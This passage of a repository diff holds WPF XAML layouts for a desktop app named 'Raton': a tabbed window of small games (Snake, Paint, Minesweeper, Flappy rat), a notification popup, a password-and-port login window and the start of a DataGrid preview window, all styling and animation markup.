<Style x:Key="ActionBtn" TargetType="{x:Type Button}">
<Setter Property="Control.Background" Value="{StaticResource Accent}"/>
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.Height" Value="26"/>
<Setter Property="Control.Padding" Value="13,0"/>
<Setter Property="Control.FontSize" Value="11.5"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Border x:Name="bd" Background="{TemplateBinding Control.Background}" CornerRadius="5"
Padding="{TemplateBinding Control.Padding}">
<ContentPresenter HorizontalAlignment="Center" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="bd" Value="{StaticResource AccentLight}" Property="Border.Background"/>
</Trigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="bd" Property="Border.Background" Value="#3E2A6A"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="SwatchBtn" TargetType="{x:Type Button}">
<Setter Property="FrameworkElement.Width" Value="22"/>
<Setter Property="FrameworkElement.Height" Value="22"/>
<Setter Property="Control.BorderThickness" Value="2"/>
<Setter Property="Control.BorderBrush" Value="Transparent"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Border x:Name="bd" Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="5"/>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="bd" Value="{StaticResource AccentLight}" Property="Border.BorderBrush"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
</FrameworkElement.Resources>
<Grid Background="{StaticResource BgMain}">
<Grid.RowDefinitions>
<RowDefinition Height="46"/>
<RowDefinition Height="1"/>
<RowDefinition Height="*"/>
<RowDefinition Height="26"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="{StaticResource BgPanel}" BorderBrush="{StaticResource Border1}"
BorderThickness="0,0,0,0" Padding="8,0">
<StackPanel Orientation="Horizontal" VerticalAlignment="Center">
<Button Click="Nav_Snake" x:Name="BtnSnake" Style="{StaticResource TabBtnActive}">
<StackPanel Orientation="Horizontal">
<TextBlock Text="🐍" FontSize="13" VerticalAlignment="Center"/>
<TextBlock Text=" Snake" VerticalAlignment="Center"/>
</StackPanel>
</Button>
<Button Click="Nav_Paint" x:Name="BtnPaint" Style="{StaticResource TabBtn}" Margin="2,0,0,0">
<StackPanel Orientation="Horizontal">
<TextBlock Text="🎨" FontSize="13" VerticalAlignment="Center"/>
<TextBlock Text=" Paint" VerticalAlignment="Center"/>
</StackPanel>
</Button>
<Button Click="Nav_Minesweeper" x:Name="BtnMine" Style="{StaticResource TabBtn}" Margin="2,0,0,0">
<StackPanel Orientation="Horizontal">
<TextBlock Text="💣" FontSize="13" VerticalAlignment="Center"/>
<TextBlock Text=" Minesweeper" VerticalAlignment="Center"/>
</StackPanel>
</Button>
<Button Click="Nav_Flappy" x:Name="BtnFlappy" Style="{StaticResource TabBtn}" Margin="2,0,0,0">
<StackPanel Orientation="Horizontal">
<TextBlock Text="🐀 " FontSize="13" VerticalAlignment="Center"/>
<TextBlock Text=" Flappy rat" VerticalAlignment="Center"/>
</StackPanel>
</Button>
</StackPanel>
</Border>
<Border Grid.Row="1">
<Border.Background>
<LinearGradientBrush StartPoint="0,0" EndPoint="1,0">
<GradientStop Color="#5C4B8A" Offset="0.0"/>
<GradientStop Color="#2A2A2A" Offset="0.45"/>
<GradientStop Color="#1C1C1C" Offset="1.0"/>
</LinearGradientBrush>
</Border.Background>
</Border>
<Grid x:Name="PanelSnake" Row="2" Background="{StaticResource BgMain}">
<Grid.RowDefinitions>
<RowDefinition Height="36"/>
<RowDefinition Height="*"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="{StaticResource BgPanel}" BorderBrush="{StaticResource Border1}"
BorderThickness="0,0,0,1" Padding="14,0">
<Grid VerticalAlignment="Center">
<StackPanel Orientation="Horizontal" VerticalAlignment="Center">
<TextBlock Text="SCORE" Foreground="{StaticResource TextMuted}" FontSize="10" FontWeight="SemiBold"
VerticalAlignment="Center" Margin="0,0,8,0"/>
<TextBlock x:Name="SnakeScoreTxt" Text="0" Foreground="{StaticResource AccentLight}" FontSize="14"
FontWeight="Bold" VerticalAlignment="Center"/>
</StackPanel>
<StackPanel Orientation="Horizontal" HorizontalAlignment="Right" VerticalAlignment="Center">
<TextBlock x:Name="SnakeStatusTxt" Text="Press SPACE to start" Foreground="{StaticResource TextSecondary}"
FontSize="11.5" VerticalAlignment="Center" Margin="0,0,10,0"/>
<Button Click="SnakeRestart" Style="{StaticResource ActionBtn}" Content="↺ New game "/>
</StackPanel>
</Grid>
</Border>
<Border Grid.Row="1" Margin="12" Background="{StaticResource BgPanel}"
BorderBrush="{StaticResource Border1}" BorderThickness="1" CornerRadius="6" ClipToBounds="true">
<Canvas KeyDown="SnakeCanvas_KeyDown" x:Name="SnakeCanvas" Focusable="true" Background="Transparent"/>
</Border>
</Grid>
<Grid x:Name="PanelPaint" Row="2" Background="{StaticResource BgMain}" Visibility="Collapsed">
<Grid.RowDefinitions>
<RowDefinition Height="44"/>
<RowDefinition Height="*"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="{StaticResource BgPanel}" BorderBrush="{StaticResource Border1}"
BorderThickness="0,0,0,1" Padding="10,0">
<StackPanel Orientation="Horizontal" VerticalAlignment="Center">
<Button Click="PaintColor_Click" Style="{StaticResource SwatchBtn}" Background="#DDDDDD" Tag="#DDDDDD"/>
<Button Click="PaintColor_Click" Style="{StaticResource SwatchBtn}" Background="#EF5350" Tag="#EF5350"
Margin="3,0,0,0"/>
<Button Click="PaintColor_Click" Style="{StaticResource SwatchBtn}" Background="#4CAF50" Tag="#4CAF50"
Margin="3,0,0,0"/>
<Button Click="PaintColor_Click" Style="{StaticResource SwatchBtn}" Background="#64B5F6" Tag="#64B5F6"
Margin="3,0,0,0"/>
<Button Click="PaintColor_Click" Style="{StaticResource SwatchBtn}" Background="#FFB74D" Tag="#FFB74D"
Margin="3,0,0,0"/>
<Button Click="PaintColor_Click" Style="{StaticResource SwatchBtn}" Background="#CE93D8" Tag="#CE93D8"
Margin="3,0,0,0"/>
<Button Click="PaintColor_Click" Style="{StaticResource SwatchBtn}" Background="#7B5EA7" Tag="#7B5EA7"
Margin="3,0,0,0"/>
<Button Click="PaintColor_Click" Style="{StaticResource SwatchBtn}" Background="#1C1C1C" Tag="#1C1C1C"
Margin="3,0,0,0" BorderBrush="{StaticResource Border2}" BorderThickness="2"/>
<Rectangle Width="1" Fill="{StaticResource Border2}" Margin="10,6"/>
<TextBlock Text="SIZE" Foreground="{StaticResource TextMuted}" FontSize="10" FontWeight="SemiBold"
VerticalAlignment="Center" Margin="0,0,7,0"/>
<Slider ValueChanged="BrushSlider_Changed" x:Name="BrushSlider" Minimum="2" Maximum="50" Value="12"
Width="80" VerticalAlignment="Center">
<FrameworkElement.Resources>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightBrushKey}" Color="#5C4B8A"/>
</FrameworkElement.Resources>
</Slider>
<Rectangle Width="1" Fill="{StaticResource Border2}" Margin="10,6"/>
<Button Click="PaintEraser_Click" x:Name="BtnEraser" Style="{StaticResource TabBtn}" Height="26"
Padding="10,0" FontSize="11.5" Content="⌫ Eraser"/>
<Button Click="PaintClear_Click" Style="{StaticResource ActionBtn}" Content="🗑 Clear" Margin="5,0,0,0"/>
<Rectangle Width="1" Fill="{StaticResource Border2}" Margin="10,6"/>
<Border x:Name="ColorPreview" Width="22" Height="22" CornerRadius="11" Background="#DDDDDD"
BorderBrush="{StaticResource Accent}" BorderThickness="2"/>
</StackPanel>
</Border>
<Border Grid.Row="1" Margin="12" Background="White" BorderBrush="{StaticResource Border1}"
BorderThickness="1" CornerRadius="6" ClipToBounds="true">
<Canvas MouseDown="PaintCanvas_MouseDown" MouseMove="PaintCanvas_MouseMove" MouseUp="PaintCanvas_MouseUp"
x:Name="PaintCanvas" Background="White" Cursor="Cross"/>
</Border>
</Grid>
<Grid x:Name="PanelMine" Row="2" Background="{StaticResource BgMain}" Visibility="Collapsed">
<Grid.RowDefinitions>
<RowDefinition Height="36"/>
<RowDefinition Height="*"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="{StaticResource BgPanel}" BorderBrush="{StaticResource Border1}"
BorderThickness="0,0,0,1" Padding="14,0">
<Grid VerticalAlignment="Center">
<StackPanel Orientation="Horizontal" VerticalAlignment="Center">
<TextBlock Text="MINES" Foreground="{StaticResource TextMuted}" FontSize="10" FontWeight="SemiBold"
VerticalAlignment="Center" Margin="0,0,8,0"/>
<TextBlock x:Name="MineCountTxt" Text="10" Foreground="{StaticResource Red}" FontSize="14" FontWeight="Bold"
VerticalAlignment="Center"/>
<TextBlock Text=" · " Foreground="{StaticResource TextMuted}" FontSize="12" VerticalAlignment="Center"/>
<TextBlock Text="TIME" Foreground="{StaticResource TextMuted}" FontSize="10" FontWeight="SemiBold"
VerticalAlignment="Center" Margin="0,0,8,0"/>
<TextBlock x:Name="MineTimerTxt" Text="0s" Foreground="{StaticResource TextSecondary}" FontSize="14"
FontWeight="Bold" VerticalAlignment="Center"/>
</StackPanel>
<StackPanel Orientation="Horizontal" HorizontalAlignment="Right" VerticalAlignment="Center">
<TextBlock x:Name="MineStatusTxt" Text="Left-click reveal · Right-click flag"
Foreground="{StaticResource TextSecondary}" FontSize="11.5" VerticalAlignment="Center"
Margin="0,0,10,0"/>
<Button Click="MineRestart" Style="{StaticResource ActionBtn}" Content="↺ New Game"/>
</StackPanel>
</Grid>
</Border>
<ScrollViewer Grid.Row="1" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto"
Background="{StaticResource BgMain}">
<StackPanel HorizontalAlignment="Center" VerticalAlignment="Center" Margin="20">
<Border x:Name="MineOverlay" Visibility="Collapsed" Background="{StaticResource AccentDim}"
BorderBrush="{StaticResource Accent}" BorderThickness="1" CornerRadius="6" Padding="18,9"
Margin="0,0,0,12" HorizontalAlignment="Center">
<StackPanel Orientation="Horizontal">
<TextBlock x:Name="MineOverlayIcon" Text="" FontSize="18" VerticalAlignment="Center"/>
<TextBlock x:Name="MineOverlayTxt" Text="BOOM!" Foreground="{StaticResource TextPrimary}" FontSize="14"
FontWeight="SemiBold" VerticalAlignment="Center" Margin="9,0,0,0"/>
</StackPanel>
</Border>
<UniformGrid x:Name="MineGridCtrl" Rows="9" Columns="9"/>
</StackPanel>
</ScrollViewer>
</Grid>
<Grid x:Name="PanelFlappy" Row="2" Background="{StaticResource BgMain}" Visibility="Collapsed">
<Grid.RowDefinitions>
<RowDefinition Height="36"/>
<RowDefinition Height="*"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="{StaticResource BgPanel}" BorderBrush="{StaticResource Border1}"
BorderThickness="0,0,0,1" Padding="14,0">
<Grid VerticalAlignment="Center">
<StackPanel Orientation="Horizontal" VerticalAlignment="Center">
<TextBlock Text="SCORE" Foreground="{StaticResource TextMuted}" FontSize="10" FontWeight="SemiBold"
VerticalAlignment="Center" Margin="0,0,8,0"/>
<TextBlock x:Name="FlappyScoreTxt" Text="0" Foreground="{StaticResource AccentLight}" FontSize="14"
FontWeight="Bold" VerticalAlignment="Center"/>
<TextBlock Text=" · BEST" Foreground="{StaticResource TextMuted}" FontSize="10" FontWeight="SemiBold"
VerticalAlignment="Center" Margin="0,0,8,0"/>
<TextBlock x:Name="FlappyBestTxt" Text="0" Foreground="{StaticResource Green}" FontSize="14" FontWeight="Bold"
VerticalAlignment="Center"/>
</StackPanel>
<StackPanel Orientation="Horizontal" HorizontalAlignment="Right" VerticalAlignment="Center">
<TextBlock x:Name="FlappyStatusTxt" Text="SPACE / Click to flap" Foreground="{StaticResource TextSecondary}"
FontSize="11.5" VerticalAlignment="Center" Margin="0,0,10,0"/>
<Button Click="FlappyRestart" Style="{StaticResource ActionBtn}" Content="↺ Restart"/>
</StackPanel>
</Grid>
</Border>
<Border Grid.Row="1" Margin="12" Background="#0A0A0A" BorderBrush="{StaticResource Border1}"
BorderThickness="1" CornerRadius="6" ClipToBounds="true">
<Canvas KeyDown="FlappyCanvas_KeyDown" MouseDown="FlappyCanvas_MouseDown" x:Name="FlappyCanvas"
Focusable="true" Background="Transparent"/>
</Border>
</Grid>
<Border Grid.Row="3" Background="{StaticResource BgPanel}" BorderBrush="{StaticResource Border1}"
BorderThickness="0,1,0,0" Padding="14,0">
<Grid VerticalAlignment="Center">
<TextBlock x:Name="StatusBarLeft" Text="Ready" Foreground="{StaticResource TextMuted}" FontSize="11"/>
</Grid>
</Border>
</Grid>
</Window>
+80
View File
@@ -0,0 +1,80 @@
<Window x:Class="Raton.Windows.Notification"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
Title="Notification" SizeToContent="Height" Width="360" MinWidth="260" MaxWidth="480"
WindowStyle="None" AllowsTransparency="true" Background="Transparent" ShowInTaskbar="false"
Topmost="true" WindowStartupLocation="Manual" ResizeMode="NoResize">
<FrameworkElement.Resources>
<Style x:Key="CloseBtn" TargetType="{x:Type Button}">
<Setter Property="FrameworkElement.Width" Value="22"/>
<Setter Property="FrameworkElement.Height" Value="22"/>
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="Control.Foreground" Value="#555555"/>
<Setter Property="Control.FontFamily" Value="Segoe MDL2 Assets"/>
<Setter Property="Control.FontSize" Value="10"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}" CornerRadius="4" Width="22"
Height="22">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="10"
Foreground="{TemplateBinding Control.Foreground}" HorizontalAlignment="Center"
VerticalAlignment="Center" TextAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#3A3A3A"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
</Trigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#444444"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
</FrameworkElement.Resources>
<FrameworkElement.Triggers>
<EventTrigger RoutedEvent="Window.Loaded">
<BeginStoryboard x:Name="LoadSB">
<Storyboard>
<DoubleAnimation Storyboard.TargetName="RootBorder" Storyboard.TargetProperty="Opacity" From="0" To="1"
Duration="0:0:0.25">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetName="RootBorder"
Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.Y)" From="14" To="0"
Duration="0:0:0.25">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</FrameworkElement.Triggers>
<Border x:Name="RootBorder" Background="Transparent" Padding="12,6,12,12" RenderTransformOrigin="0.5,0.5">
<UIElement.RenderTransform>
<TranslateTransform Y="0"/>
</UIElement.RenderTransform>
<Border x:Name="CardBorder" Background="#1E1E1E" CornerRadius="10" Padding="0" BorderThickness="0,1,0,0">
<UIElement.Effect>
<DropShadowEffect Color="Black" BlurRadius="28" ShadowDepth="4" Opacity="0.55" Direction="270"/>
</UIElement.Effect>
<Border.BorderBrush>
<LinearGradientBrush StartPoint="0,0" EndPoint="1,0">
<GradientStop Color="#383838" Offset="0"/>
<GradientStop Color="#2A2A2A" Offset="1"/>
</LinearGradientBrush>
</Border.BorderBrush>
<StackPanel x:Name="NotifStack" Margin="0"/>
</Border>
</Border>
</Window>
File diff suppressed because one or more lines are too long
+235
View File
@@ -0,0 +1,235 @@
<Window x:Class="WpfApp1.Windows.Port"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
Title="Raton" Height="397.895" Width="340" Background="#141414"
WindowStartupLocation="CenterScreen" ResizeMode="NoResize" WindowStyle="SingleBorderWindow"
AllowsTransparency="false" Icon="/Raton;component/RATA.ico">
<FrameworkElement.Resources>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightBrushKey}" Color="#3A3A6A"/>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightTextBrushKey}" Color="White"/>
<SolidColorBrush x:Key="{x:Static SystemColors.InactiveSelectionHighlightBrushKey}" Color="#3A3A6A"/>
<Style x:Key="DarkInput" TargetType="{x:Type TextBox}">
<Setter Property="Control.Background" Value="#1E1E1E"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
<Setter Property="TextBoxBase.CaretBrush" Value="#8B5CF6"/>
<Setter Property="Control.BorderBrush" Value="#2E2E2E"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="Control.FontSize" Value="12"/>
<Setter Property="Control.FontFamily" Value="Consolas"/>
<Setter Property="TextBoxBase.SelectionBrush" Value="#5C3D8F"/>
<Setter Property="Control.VerticalContentAlignment" Value="Center"/>
<Setter Property="Control.Padding" Value="10,0"/>
<Setter Property="FrameworkElement.Height" Value="34"/>
<Setter Property="UIElement.SnapsToDevicePixels" Value="true"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type TextBox}">
<Border x:Name="border" Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="6"
Height="{TemplateBinding FrameworkElement.Height}">
<ScrollViewer x:Name="PART_ContentHost" Focusable="false" HorizontalScrollBarVisibility="Hidden"
VerticalScrollBarVisibility="Hidden" Margin="{TemplateBinding Control.Padding}"
VerticalAlignment="Center" VerticalContentAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsFocused" Value="true">
<Setter TargetName="border" Property="Border.BorderBrush" Value="#7C4DCC"/>
<Setter TargetName="border" Property="Border.Background" Value="#1A1A2E"/>
</Trigger>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="border" Property="Border.BorderBrush" Value="#3E3E5E"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="DarkPassword" TargetType="{x:Type PasswordBox}">
<Setter Property="Control.Background" Value="#1E1E1E"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
<Setter Property="PasswordBox.CaretBrush" Value="#8B5CF6"/>
<Setter Property="Control.BorderBrush" Value="#2E2E2E"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="Control.FontSize" Value="14"/>
<Setter Property="PasswordBox.SelectionBrush" Value="#5C3D8F"/>
<Setter Property="Control.VerticalContentAlignment" Value="Center"/>
<Setter Property="Control.Padding" Value="10,0"/>
<Setter Property="FrameworkElement.Height" Value="34"/>
<Setter Property="UIElement.SnapsToDevicePixels" Value="true"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type PasswordBox}">
<Border x:Name="border" Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="6"
Height="{TemplateBinding FrameworkElement.Height}">
<ScrollViewer x:Name="PART_ContentHost" Focusable="false" HorizontalScrollBarVisibility="Hidden"
VerticalScrollBarVisibility="Hidden" Margin="{TemplateBinding Control.Padding}"
VerticalAlignment="Center" VerticalContentAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsFocused" Value="true">
<Setter TargetName="border" Property="Border.BorderBrush" Value="#7C4DCC"/>
<Setter TargetName="border" Property="Border.Background" Value="#1A1A2E"/>
</Trigger>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="border" Property="Border.BorderBrush" Value="#3E3E5E"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="LoginBtn" TargetType="{x:Type Button}">
<Setter Property="Control.Background" Value="#5C3D8F"/>
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="Control.FontSize" Value="13"/>
<Setter Property="Control.FontWeight" Value="SemiBold"/>
<Setter Property="Control.FontFamily" Value="Segoe UI"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="FrameworkElement.Height" Value="38"/>
<Setter Property="UIElement.SnapsToDevicePixels" Value="true"/>
<Setter Property="UIElement.RenderTransformOrigin" Value="0.5,0.5"/>
<Setter Property="UIElement.RenderTransform">
<Setter.Value>
<ScaleTransform ScaleX="1" ScaleY="1"/>
</Setter.Value>
</Setter>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Border x:Name="bd" Background="{TemplateBinding Control.Background}" CornerRadius="7"
Height="{TemplateBinding FrameworkElement.Height}">
<ContentPresenter HorizontalAlignment="Center" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="bd" Property="Border.Background" Value="#6D4AA8"/>
</Trigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="bd" Property="Border.Background" Value="#4A2E78"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
<Style.Triggers>
<EventTrigger RoutedEvent="MouseEnter">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleX)" To="1.02"
Duration="0:0:0.12">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleY)" To="1.02"
Duration="0:0:0.12">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
<EventTrigger RoutedEvent="MouseLeave">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleX)" To="1"
Duration="0:0:0.14">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleY)" To="1"
Duration="0:0:0.14">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</Style.Triggers>
</Style>
</FrameworkElement.Resources>
<FrameworkElement.Triggers>
<EventTrigger RoutedEvent="Window.Loaded">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetName="Root" Storyboard.TargetProperty="Opacity" From="0" To="1"
Duration="0:0:0.30">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetName="Root"
Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.Y)" From="10" To="0"
Duration="0:0:0.30">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</FrameworkElement.Triggers>
<Grid x:Name="Root" Opacity="0">
<UIElement.RenderTransform>
<TranslateTransform Y="0"/>
</UIElement.RenderTransform>
<Border VerticalAlignment="Top" Height="2" HorizontalAlignment="Stretch">
<Border.Background>
<LinearGradientBrush StartPoint="0,0" EndPoint="1,0">
<GradientStop Color="#00000000" Offset="0"/>
<GradientStop Color="#BB5C3D8F" Offset="0.4"/>
<GradientStop Color="#BB7B52B8" Offset="0.6"/>
<GradientStop Color="#00000000" Offset="1"/>
</LinearGradientBrush>
</Border.Background>
</Border>
<Border Margin="16" CornerRadius="10" Background="#1A1A1A" BorderBrush="#282838" BorderThickness="1">
<UIElement.Effect>
<DropShadowEffect Color="Black" BlurRadius="22" ShadowDepth="4" Opacity="0.55"/>
</UIElement.Effect>
<StackPanel Margin="20,18,20,20">
<Grid Margin="0,0,0,14">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition/>
</Grid.ColumnDefinitions>
<Grid Width="44" Height="44" Margin="0,0,12,0" VerticalAlignment="Center">
<Ellipse x:Name="PfpEclipse" Width="44" Height="44">
<Shape.Fill>
<LinearGradientBrush StartPoint="0,0" EndPoint="1,1">
<GradientStop Color="#3B2060" Offset="0"/>
<GradientStop Color="#7B52B8" Offset="1"/>
</LinearGradientBrush>
</Shape.Fill>
</Ellipse>
<Ellipse Width="11" Height="11" Fill="#4CAF50" Stroke="#1A1A1A" StrokeThickness="2"
HorizontalAlignment="Right" VerticalAlignment="Bottom"/>
</Grid>
<StackPanel Grid.Column="1" VerticalAlignment="Center">
<TextBlock x:Name="TbGreeting" Text="Good night, user" Foreground="White" FontSize="14" FontWeight="Bold"
FontFamily="Segoe UI"/>
<TextBlock x:Name="TbSubtitle" Text="..." Foreground="#555568" FontSize="11" FontFamily="Segoe UI"
Margin="0,3,0,0"/>
</StackPanel>
</Grid>
<Border Height="1" Background="#252535" Margin="0,0,0,16"/>
<TextBlock Text="Password" Foreground="#777788" FontSize="11" FontWeight="SemiBold" FontFamily="Segoe UI"
Margin="0,0,0,6"/>
<PasswordBox x:Name="PbPassword" Style="{StaticResource DarkPassword}" Margin="0,0,0,14"/>
<TextBlock Text="Port" Foreground="#777788" FontSize="11" FontWeight="SemiBold" FontFamily="Segoe UI"
Margin="0,0,0,6"/>
<TextBox x:Name="TbPort" Style="{StaticResource DarkInput}" Text="8080" Margin="0,0,0,20"/>
<Button Click="BtnLogin_Click" x:Name="BtnLogin" Content="Login" Style="{StaticResource LoginBtn}"/>
<TextBlock x:Name="TbStatus" Text="" FontSize="11" FontFamily="Segoe UI" HorizontalAlignment="Center"
Margin="0,8,0,0" Height="16" Visibility="Hidden"/>
</StackPanel>
</Border>
</Grid>
</Window>
+243
View File
@@ -0,0 +1,243 @@
<Window x:Class="Raton.Windows.Preview"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
Title="Preview" Height="520" Width="820" Background="#161616" WindowStartupLocation="CenterScreen"
ResizeMode="NoResize">
<FrameworkElement.Resources>
<Style TargetType="{x:Type DataGridRow}">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Style.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter Property="Control.Background" Value="#252525"/>
</Trigger>
</Style.Triggers>
</Style>
<Style TargetType="{x:Type DataGridCell}">
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.FocusVisualStyle" Value="{x:Null}"/>
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
<Setter Property="FrameworkElement.HorizontalAlignment" Value="Stretch"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Stretch"/>
<Setter Property="Control.VerticalContentAlignment" Value="Center"/>
<Style.Triggers>
<Trigger Property="DataGridCell.IsSelected" Value="true">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.BorderBrush" Value="Transparent"/>
</Trigger>
</Style.Triggers>
</Style>
<Style TargetType="{x:Type DataGridColumnHeader}">
<Setter Property="Control.Background" Value="#1E1E1E"/>
<Setter Property="Control.Foreground" Value="#888888"/>
<Setter Property="Control.FontWeight" Value="SemiBold"/>
<Setter Property="Control.FontSize" Value="11"/>
<Setter Property="Control.HorizontalContentAlignment" Value="Left"/>
<Setter Property="Control.Padding" Value="14,0"/>
<Setter Property="Control.BorderThickness" Value="0,0,0,1"/>
<Setter Property="Control.BorderBrush" Value="#2A2A2A"/>
</Style>
<Style TargetType="{x:Type ContextMenu}">
<Setter Property="UIElement.SnapsToDevicePixels" Value="true"/>
<Setter Property="FrameworkElement.OverridesDefaultStyle" Value="true"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ContextMenu}">
<Border Background="#242424" BorderBrush="#383838" BorderThickness="1" CornerRadius="6" Padding="0,4">
<UIElement.Effect>
